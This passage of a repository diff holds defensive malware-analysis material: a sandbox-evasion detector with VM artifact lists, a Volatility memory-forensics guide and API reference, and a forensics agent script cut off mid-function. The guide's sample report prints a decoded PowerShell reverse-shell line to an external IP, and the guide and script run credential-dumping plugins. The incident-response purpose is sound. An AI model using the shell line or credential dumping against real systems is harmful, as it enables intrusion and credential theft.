"HKLM\\HARDWARE\\ACPI\\DSDT\\VBOX", "HKLM\\SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
"HKLM\\SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters",
"HKLM\\HARDWARE\\Description\\System\\SystemBiosVersion",
]
VM_PROCESSES = {
"vmtoolsd.exe", "vmwaretray.exe", "vboxservice.exe", "vboxtray.exe",
"qemu-ga.exe", "vmusrvc.exe", "prl_tools.exe", "xenservice.exe",
"windanr.exe", "vdagent.exe",
}
VM_MAC_PREFIXES = ["00:0C:29", "00:50:56", "08:00:27", "00:1C:42", "00:16:3E", "52:54:00"]
USER_INTERACTION_APIS = {
"GetCursorPos", "GetAsyncKeyState", "GetForegroundWindow",
"GetLastInputInfo", "mouse_event", "keybd_event",
}
WMI_EVASION_QUERIES = [
"Win32_ComputerSystem", "Win32_BIOS", "Win32_DiskDrive",
"Win32_PhysicalMemory", "Win32_Processor",
]
def parse_cuckoo_report(filepath):
"""Parse a Cuckoo Sandbox behavioral report JSON."""
with open(filepath) as f:
report = json.load(f)
behavior = report.get("behavior", {})
api_calls = []
for process in behavior.get("processes", []):
for call in process.get("calls", []):
api_calls.append({
"api": call.get("api", ""),
"category": call.get("category", ""),
"arguments": call.get("arguments", {}),
"return": call.get("return", ""),
"process_name": process.get("process_name", ""),
"pid": process.get("pid", 0),
})
return api_calls, report
def detect_timing_checks(api_calls):
"""Detect timing-based sandbox evasion via GetTickCount, QPC, etc."""
findings = []
timing_count = 0
for call in api_calls:
if call["api"] in TIMING_APIS:
timing_count += 1
if timing_count >= 3:
findings.append({
"technique": "Timing-Based Evasion",
"mitre_id": "T1497.003",
"api_count": timing_count,
"apis_used": list({c["api"] for c in api_calls if c["api"] in TIMING_APIS}),
"severity": "high",
"description": f"{timing_count} timing API calls detected; malware may be measuring execution time to detect sandbox acceleration",
})
return findings
def detect_sleep_inflation(api_calls, min_sleep_ms=60000):
"""Detect sleep calls with long durations used to evade sandbox time limits."""
findings = []
for call in api_calls:
if call["api"] not in SLEEP_APIS:
continue
ms = 0
args = call.get("arguments", {})
if isinstance(args, dict):
ms = int(args.get("Milliseconds", args.get("milliseconds", 0)))
elif isinstance(args, list):
for a in args:
if isinstance(a, dict) and a.get("name", "").lower() == "milliseconds":
ms = int(a.get("value", 0))
if ms >= min_sleep_ms:
findings.append({
"technique": "Sleep Inflation",
"mitre_id": "T1497.003",
"api": call["api"],
"sleep_ms": ms,
"sleep_seconds": ms / 1000,
"process": call["process_name"],
"severity": "high",
"description": f"Sleep call of {ms / 1000:.0f}s detected; likely delaying execution to outlast sandbox analysis window",
})
return findings
def detect_vm_artifact_checks(api_calls):
"""Detect VM artifact queries (registry, processes, MAC addresses)."""
findings = []
for call in api_calls:
args_str = json.dumps(call.get("arguments", "")).lower()
for reg_key in VM_REGISTRY_KEYS:
if reg_key.lower() in args_str:
findings.append({
"technique": "VM Registry Artifact Check",
"mitre_id": "T1497.001",
"registry_key": reg_key,
"api": call["api"],
"severity": "high",
})
break
for wmi_query in WMI_EVASION_QUERIES:
if wmi_query.lower() in args_str:
findings.append({
"technique": "WMI Environment Fingerprinting",
"mitre_id": "T1497.001",
"wmi_class": wmi_query,
"api": call["api"],
"severity": "medium",
})
break
return findings
def detect_user_interaction_checks(api_calls):
"""Detect checks for user interaction (mouse, keyboard, foreground window)."""
interaction_apis = [c for c in api_calls if c["api"] in USER_INTERACTION_APIS]
if len(interaction_apis) >= 2:
return [{
"technique": "User Interaction Detection",
"mitre_id": "T1497.002",
"api_count": len(interaction_apis),
"apis_used": list({c["api"] for c in interaction_apis}),
"severity": "medium",
"description": "Malware checks for user input to determine if running in automated sandbox",
}]
return []
def score_evasion_sophistication(all_findings):
"""Score evasion sophistication based on technique diversity."""
technique_ids = {f["mitre_id"] for f in all_findings}
categories = {f["technique"].split()[0] for f in all_findings}
score = min(len(all_findings) * 10 + len(technique_ids) * 15 + len(categories) * 10, 100)
level = "low" if score < 30 else "medium" if score < 60 else "high"
return {"score": score, "level": level, "unique_techniques": len(technique_ids), "total_indicators": len(all_findings)}
def main():
parser = argparse.ArgumentParser(description="Sandbox Evasion Technique Analyzer")
parser.add_argument("--report", required=True, help="Path to Cuckoo/AnyRun behavioral report JSON")
parser.add_argument("--min-sleep-ms", type=int, default=60000, help="Minimum sleep duration to flag (ms)")
parser.add_argument("--output", default="evasion_analysis_report.json", help="Output report path")
args = parser.parse_args()
api_calls, raw_report = parse_cuckoo_report(args.report)
print(f"[+] Parsed {len(api_calls)} API calls from behavioral report")
timing = detect_timing_checks(api_calls)
sleep = detect_sleep_inflation(api_calls, args.min_sleep_ms)
vm_checks = detect_vm_artifact_checks(api_calls)
user_checks = detect_user_interaction_checks(api_calls)
all_findings = timing + sleep + vm_checks + user_checks
sophistication = score_evasion_sophistication(all_findings)
report = {
"analysis_time": datetime.utcnow().isoformat() + "Z",
"sample_sha256": raw_report.get("target", {}).get("file", {}).get("sha256", ""),
"total_api_calls": len(api_calls),
"evasion_findings": {
"timing_checks": timing,
"sleep_inflation": sleep,
"vm_artifact_checks": vm_checks,
"user_interaction_checks": user_checks,
},
"total_indicators": len(all_findings),
"sophistication": sophistication,
"mitre_techniques": ["T1497.001", "T1497.002", "T1497.003"],
}
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[+] Timing checks: {len(timing)}")
print(f"[+] Sleep inflation: {len(sleep)}")
print(f"[+] VM artifact checks: {len(vm_checks)}")
print(f"[+] User interaction checks: {len(user_checks)}")
print(f"[+] Evasion sophistication: {sophistication['level']} ({sophistication['score']}/100)")
print(f"[+] Report saved to {args.output}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,313 @@
---
name: analyzing-memory-dumps-with-volatility
description: 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes,
injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory
forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection
detection, or memory-resident malware investigation.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- memory-forensics
- Volatility
- RAM-analysis
- incident-response
mitre_attack:
- T1055
- T1003
- T1059
- T1620
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
---
# Analyzing Memory Dumps with Volatility
## When to Use
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
- Detecting fileless malware that exists only in memory without persistent disk artifacts
- Extracting encryption keys, passwords, or decrypted configuration from process memory
- Identifying process injection, DLL injection, or process hollowing in a compromised system
- Analyzing rootkit activity that hides from standard disk-based forensic tools
**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
## Prerequisites
- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS
- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
- Knowledge of the source OS version for correct profile/symbol selection
- Sufficient disk space (memory dumps can be 4-64 GB)
- YARA rules for scanning memory for known malware signatures
- Strings utility for extracting readable strings from memory regions
## Workflow
### Step 1: Identify the Memory Dump Profile
Determine the operating system and version from the memory dump:
```bash
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info
# List available plugins
vol3 -f memory.dmp --help
# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
```
### Step 2: Enumerate Running Processes
List all processes and identify suspicious entries:
```bash
# List all processes
vol3 -f memory.dmp windows.pslist
# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree
# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan
# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits
# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
```
```
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
```
### Step 3: Detect Malicious Code Injection
Scan for injected code and process hollowing:
```bash
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies
# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind
# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan
# List kernel modules
vol3 -f memory.dmp windows.modules
```
### Step 4: Analyze Network Connections
Extract active and closed network connections:
```bash
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
```
### Step 5: Extract Artifacts and Credentials
Recover sensitive data from memory:
```bash
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extract command-line history
vol3 -f memory.dmp windows.cmdline
# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184
# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard
# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
```
### Step 6: Scan Memory with YARA Rules
Apply YARA signatures to detect known malware in memory:
```bash
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
```
### Step 7: Timeline and Report Generation
Create an analysis timeline and compile findings:
```bash
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times
# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
## Tools & Systems
- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps
- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
## Common Scenarios
### Scenario: Detecting Fileless Malware After EDR Alert
**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
**Approach**:
1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)
2. Run `windows.malfind` to detect injected code in running processes
3. Dump the suspicious process memory and extract strings for C2 URLs
4. Run `windows.netscan` to identify network connections from the compromised processes
5. Run `windows.cmdline` to see what commands PowerShell executed
6. Scan with YARA rules for known malware families in the dumped process memory
7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk
**Pitfalls**:
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)
- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
## Output Format
```
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS process
```

View File

@@ -0,0 +1,99 @@
# API Reference: Volatility 3 Memory Forensics
## Core Syntax
```bash
vol3 -f <memory_dump> <plugin> [options]
vol3 -f memory.dmp --help # List all plugins
vol3 -f memory.dmp <plugin> --help # Plugin-specific help
```
## Windows Plugins
### Process Analysis
| Plugin | Purpose |
|--------|---------|
| `windows.pslist` | List active processes |
| `windows.pstree` | Process tree (parent-child) |
| `windows.psscan` | Pool-tag scan (finds hidden processes) |
| `windows.cmdline` | Process command-line arguments |
| `windows.envars` | Process environment variables |
| `windows.handles` | Process handle table |
### Code Injection Detection
| Plugin | Purpose |
|--------|---------|
| `windows.malfind` | Detect injected code (RWX memory + PE headers) |
| `windows.hollowfind` | Detect process hollowing |
| `windows.dlllist` | List loaded DLLs per process |
| `windows.ldrmodules` | Detect unlinked DLLs |
### Network
| Plugin | Purpose |
|--------|---------|
| `windows.netscan` | List network connections and listeners |
| `windows.netstat` | Network connections (older Windows) |
### Kernel / Rootkit
| Plugin | Purpose |
|--------|---------|
| `windows.ssdt` | System Service Descriptor Table hooks |
| `windows.callbacks` | Kernel callback registrations |
| `windows.driverscan` | Scan for driver objects |
| `windows.modules` | Loaded kernel modules |
| `windows.idt` | Interrupt Descriptor Table |
### Credentials
| Plugin | Purpose |
|--------|---------|
| `windows.hashdump` | Dump SAM password hashes |
| `windows.cachedump` | Dump cached domain credentials |
| `windows.lsadump` | Dump LSA secrets |
### Registry
| Plugin | Purpose |
|--------|---------|
| `windows.registry.printkey` | Print registry key values |
| `windows.registry.hivelist` | List registry hives |
| `windows.registry.certificates` | Extract certificates |
### File System
| Plugin | Purpose |
|--------|---------|
| `windows.filescan` | Scan for file objects |
| `windows.dumpfiles` | Extract files from memory |
| `windows.memmap` | Dump process memory |
### YARA Scanning
```bash
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar --pid 2184
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule Test { strings: $s = \"cmd.exe\" condition: $s }"
```
### Timeline
```bash
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
```
## Output Options
```bash
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
vol3 -f memory.dmp windows.pslist --output json > processes.json
vol3 -f memory.dmp windows.malfind --dump --pid 2184
```
## Memory Acquisition Tools
| Tool | Platform | Command |
|------|----------|---------|
| WinPmem | Windows | `winpmem_mini_x64.exe memdump.raw` |
| DumpIt | Windows | `DumpIt.exe` (interactive) |
| LiME | Linux | `insmod lime.ko "path=/tmp/mem.lime format=lime"` |
| AVML | Linux | `avml /tmp/memory.lime` |
## Symbols
```bash
# Download symbol packs
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Place in: volatility3/symbols/
```

View File

@@ -0,0 +1,243 @@
#!/usr/bin/env python3
"""Memory forensics agent using Volatility 3 for malware detection in RAM dumps."""
import shlex
import subprocess
import os
import sys
def run_vol3(memory_dump, plugin, extra_args=""):
"""Execute a Volatility 3 plugin and return output."""
cmd = ["vol3", "-f", memory_dump, plugin]
if extra_args:
cmd.extend(shlex.split(extra_args))
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
return result.stdout.strip(), result.stderr.strip(), result.returncode
def get_os_info(memory_dump):
"""Identify the OS from the memory dump."""
stdout, _, rc = run_vol3(memory_dump, "windows.info")
if rc == 0:
return {"os": "windows", "info": stdout}
stdout, _, rc = run_vol3(memory_dump, "linux.info")
if rc == 0:
return {"os": "linux", "info": stdout}
return {"os": "unknown", "info": ""}
def list_processes(memory_dump):
"""List all running processes using pslist."""
stdout, _, rc = run_vol3(memory_dump, "windows.pslist")
processes = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split()
if len(parts) >= 6 and parts[0].isdigit():
processes.append({
"pid": int(parts[0]),
"ppid": int(parts[1]),
"name": parts[4] if len(parts) > 4 else "",
"offset": parts[0] if not parts[0].isdigit() else "",
})
return processes
def scan_hidden_processes(memory_dump):
"""Scan for hidden/unlinked processes using psscan."""
stdout, _, rc = run_vol3(memory_dump, "windows.psscan")
processes = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split()
if len(parts) >= 5 and parts[1].isdigit():
processes.append({
"offset": parts[0],
"pid": int(parts[1]),
"ppid": int(parts[2]) if parts[2].isdigit() else 0,
"name": parts[4] if len(parts) > 4 else "",
})
return processes
def find_hidden_processes(pslist_procs, psscan_procs):
"""Compare pslist and psscan to identify DKOM-hidden processes."""
pslist_pids = {p["pid"] for p in pslist_procs}
hidden = [p for p in psscan_procs if p["pid"] not in pslist_pids and p["pid"] > 4]
return hidden
def detect_code_injection(memory_dump, pid=None):
"""Detect injected code using malfind plugin."""
extra = f"--pid {pid}" if pid else ""
stdout, _, rc = run_vol3(memory_dump, "windows.malfind", extra)
injections = []
if rc == 0:
current = {}
for line in stdout.splitlines():
if "PID" in line and "Process" in line:
continue
parts = line.split()
if len(parts) >= 4 and parts[0].isdigit():
if current:
injections.append(current)
current = {
"pid": int(parts[0]),
"process": parts[1] if len(parts) > 1 else "",
"address": parts[2] if len(parts) > 2 else "",
"protection": parts[3] if len(parts) > 3 else "",
}
elif current and line.strip():
current["data_preview"] = current.get("data_preview", "") + line.strip() + " "
if current:
injections.append(current)
return injections
def get_network_connections(memory_dump):
"""Extract network connections using netscan."""
stdout, _, rc = run_vol3(memory_dump, "windows.netscan")
connections = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split()
if len(parts) >= 7:
connections.append({
"protocol": parts[1] if len(parts) > 1 else "",
"local_addr": parts[2] if len(parts) > 2 else "",
"local_port": parts[3] if len(parts) > 3 else "",
"foreign_addr": parts[4] if len(parts) > 4 else "",
"foreign_port": parts[5] if len(parts) > 5 else "",
"state": parts[6] if len(parts) > 6 else "",
"pid": parts[7] if len(parts) > 7 else "",
"owner": parts[8] if len(parts) > 8 else "",
})
return connections
def get_command_lines(memory_dump):
"""Extract process command lines."""
stdout, _, rc = run_vol3(memory_dump, "windows.cmdline")
cmdlines = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split(None, 2)
if len(parts) >= 3 and parts[0].isdigit():
cmdlines.append({
"pid": int(parts[0]),
"process": parts[1],
"cmdline": parts[2],
})
return cmdlines
def dump_credentials(memory_dump):
"""Extract cached credentials using hashdump and lsadump."""
results = {}
stdout, _, rc = run_vol3(memory_dump, "windows.hashdump")
if rc == 0:
results["hashdump"] = stdout
stdout, _, rc = run_vol3(memory_dump, "windows.cachedump")
if rc == 0:
results["cachedump"] = stdout
stdout, _, rc = run_vol3(memory_dump, "windows.lsadump")
if rc == 0:
results["lsadump"] = stdout
return results
def scan_with_yara(memory_dump, yara_file=None, yara_rule=None, pid=None):
"""Scan memory with YARA rules."""
extra = ""
if yara_file:
extra += f"--yara-file {yara_file}"
elif yara_rule:
extra += f'--yara-rules "{yara_rule}"'
if pid:
extra += f" --pid {pid}"
stdout, _, rc = run_vol3(memory_dump, "yarascan.YaraScan", extra)
return stdout if rc == 0 else ""
def check_suspicious_processes(pslist_procs):
"""Check process list for common suspicious indicators."""
findings = []
expected_parents = {
"svchost.exe": ["services.exe"],
"csrss.exe": ["smss.exe"],
"lsass.exe": ["wininit.exe"],
"smss.exe": ["System"],
}
name_counts = {}
for p in pslist_procs:
name = p["name"].lower()
name_counts[name] = name_counts.get(name, 0) + 1
if name_counts.get("lsass.exe", 0) > 1:
findings.append({"severity": "CRITICAL",
"finding": "Multiple lsass.exe instances detected"})
misspellings = {
"scvhost.exe": "svchost.exe", "svch0st.exe": "svchost.exe",
"lssas.exe": "lsass.exe", "csrs.exe": "csrss.exe",
}
for p in pslist_procs:
if p["name"].lower() in misspellings:
findings.append({
"severity": "HIGH",
"finding": f"Misspelled process: {p['name']} (PID {p['pid']}) "
